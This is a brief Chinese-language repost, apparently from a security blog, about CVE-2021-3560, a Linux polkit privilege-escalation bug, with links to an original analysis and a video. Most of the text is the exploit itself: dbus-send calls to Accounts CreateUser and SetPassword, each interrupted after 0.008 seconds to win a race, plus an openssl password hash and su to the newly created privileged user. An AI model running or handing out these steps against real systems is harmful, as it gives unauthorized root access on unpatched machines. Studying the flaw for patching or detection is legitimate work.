CVE-2021-3560 Linux polkit 提权
文章来源:安全鸭
看到大佬的操作,连复现都没复现明白,还差点意思。
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1 #创建用户 dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1 & sleep 0.008s ; kill $! #查看用户 id boris #openssl生成密码hash值 openssl passwd -5 iaminvincible! #为用户设置密码。注意string:''处填入上面openssl生成的hash值 dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1001 org.freedesktop.Accounts.User.SetPassword string:'' string:GoldenEye & sleep 0.008s ; kill $! #切换用户 su - boris
原文复现及分析:
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
视频链接:
https://youtu.be/QZhz64yEd0g